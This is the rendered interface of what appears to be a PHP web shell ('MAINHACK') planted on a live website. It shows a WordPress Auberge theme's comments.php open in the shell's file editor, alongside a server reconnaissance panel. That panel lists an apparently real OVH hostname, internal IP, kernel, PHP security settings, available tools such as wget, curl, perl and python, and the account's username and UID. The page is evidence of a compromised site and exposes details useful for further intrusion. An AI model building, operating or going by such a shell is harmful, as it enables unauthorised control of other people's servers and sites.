[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: comments.php
<?php /** * Comments list template * * @package Auberge * @copyright WebMan Design, Oliver Juhas * * @since 1.0 * @version 2.5.3 */ /** * Return early without loading comments if: * - the current post is protected by a password and the visitor has not yet entered the password * - the page is a front page * - we are not on single post page * - comments are closed or we have have no comments to display (even if the comments are closed now, there could be some old ones) * - post type doesn't support comments */ if ( post_password_required() || ( is_page() && is_front_page() ) || ! ( is_page( get_the_ID() ) || is_single( get_the_ID() ) ) || ! ( comments_open() || have_comments() ) || ! post_type_supports( get_post_type(), 'comments' ) ) { return; } do_action( 'tha_comments_before' ); ?> <div id="comments" class="comments-area"> <h2 id="comments-title" class="comments-title"> <?php printf( esc_html( _nx( '%1$d comment on “%2$s”', '%1$d comments on “%2$s”', get_comments_number(), 'Comments list title.', 'auberge' ) ), number_format_i18n( get_comments_number() ), '<span>' . get_the_title() . '</span>' ); ?> <a href="#respond" class="add-comment-link"><?php echo esc_html_x( 'Add yours →', 'Add new comment link text.', 'auberge' ); ?></a> </h2> <?php /** * Comments list */ if ( have_comments() ) : if ( ! comments_open() && '0' != get_comments_number() ) { ?> <h3 class="comments-closed"><?php esc_html_e( 'Comments are closed. You can not add new comments.', 'auberge' ); ?></h3> <?php } // Actual comments list ?> <ol class="comment-list"> <?php wp_list_comments( array( 'type' => 'comment', // Do not display trackbacks and pingbacks 'avatar_size' => 240, 'style' => 'ol', 'short_ping' => true ) ); ?> </ol> <?php // Paginated comments if ( 1 < get_comment_pages_count() && get_option( 'page_comments' ) ) { // There are comments to navigate through and multipaged comments are enabled in WordPress settings ?> <nav id="comment-nav-below" class="navigation comment-navigation" aria-labelledby="comment-nav-below-label"> <h2 class="screen-reader-text" id="comment-nav-below-label"><?php esc_html_e( 'Comment navigation', 'auberge' ); ?></h2> <div class="nav-links"> <div class="nav-previous"><?php previous_comments_link( esc_html__( '← Older comments', 'auberge' ) ); ?></div> <div class="nav-next"><?php next_comments_link( esc_html__( 'Newer comments →', 'auberge' ) ); ?></div> </div> </nav> <?php } endif; // /have_comments() /** * Comments form only if comments open */ if ( comments_open() ) { comment_form(); } ?> </div><!-- #comments --> <?php do_action( 'tha_comments_after' );
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm010.cluster103.gra.hosting.ovh.net
Server IP: 10.103.20.10
PHP Version: 7.4.33
Server Software: Apache
System: Linux webm010.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: cuisinesj
User ID (UID): 17129
Group ID (GID): 100
Script Owner UID: 17129
Current Dir Owner: 17129